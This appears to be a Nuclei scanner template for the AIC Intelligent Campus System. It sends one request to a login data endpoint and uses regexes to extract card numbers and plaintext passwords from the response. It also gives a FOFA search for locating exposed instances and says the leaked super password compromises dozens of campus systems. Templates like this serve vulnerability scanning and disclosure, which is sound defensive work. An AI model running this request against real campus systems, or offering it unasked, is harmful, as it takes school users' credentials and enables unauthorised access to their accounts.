id: aic-intelligent-password-exposure

info:
  name: AIC Intelligent Campus System - Password Exposure
  author: SleepingBag945
  severity: medium
  description: |
    Due to the design logic defects, the super password is leaked, which can kill more than 40 campus systems.<br>
  metadata:
    max-request: 1
    fofa-query: title="AIC智能校园系统"
  tags: aic,exposure,password,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/datacenter/dataOrigin.ashx?c=login"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body_1,"卡号\":\"") && contains(body_1,"密码\":\"")'
        condition: and

    extractors:
      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - "\"卡号\":\"(.*?)\""

      - type: regex
        name: passwd
        part: body
        group: 1
        regex:
          - "\"密码\":\"(.*?)\""
# digest: 4a0a0047304502203f3cd795a75383eeecfeddb7aca5957e26530c7eb150011316688e039bf69e0302210084dcf05204fa569987e99875a9aec0b6ea02195abd4236bab9458000d567175d:922c64590222798bb761d5b6d8e72950